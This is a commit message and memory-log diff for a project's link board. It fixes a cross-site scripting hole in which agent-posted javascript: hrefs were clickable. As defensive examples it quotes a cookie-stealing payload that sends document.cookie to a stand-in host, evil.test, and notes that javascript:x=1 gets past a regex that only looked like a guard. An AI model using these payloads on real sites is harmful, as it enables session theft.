fix(links): the board rendered agent-written javascript: hrefs

A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so

    javascript:document.location='http://evil.test/'+document.cookie

was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.

links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.

THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.

Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.

Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.

persistent-memory.md

@@ -199,6 +199,7 @@ _As of 2026-09-22:_
 
 ## Recent decisions
 
+- `[2026-09-23]` ⚠ **The probe that nearly dismissed a live injection vector** — the link board rendered `javascript:` hrefs; READ BEFORE TRUSTING A NEGATIVE RESULT FROM AN OBVIOUS PROBE, and before assuming an existing scheme check is the guard you are looking for → `persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md`
 - `[2026-09-23]` ✅ **The bug-hunt panel found six defects and five vacuous falsifiers** — READ BEFORE BUILDING ANY FRAGMENT ANCHOR (browsers match raw before decoded, so both sides must be encoded), and before trusting a well-commented diff's guards → `persistent-memory.d/2026-09-23-the-bug-hunt-panel-and-five-vacuous-falsifiers.md`
 - `[2026-09-22]` ✅ **v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies** — READ BEFORE DERIVING A VERSION FROM `importlib.metadata` HERE; it reports a different artifact, and `booth/__init__.py` turns out to be stdlib-only → `persistent-memory.d/2026-09-22-v1-staged-as-a-beta-and-a-second-copy-of-the-version.md`
 - `[2026-09-22]` ✅ **U7 landed — and the number that justified it did not reproduce** — all seven v1 units are in; READ BEFORE TRUSTING A MEASUREMENT INSIDE A CONTRACT, and before assuming a degeneracy guard covers the degeneracy you actually have → `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md`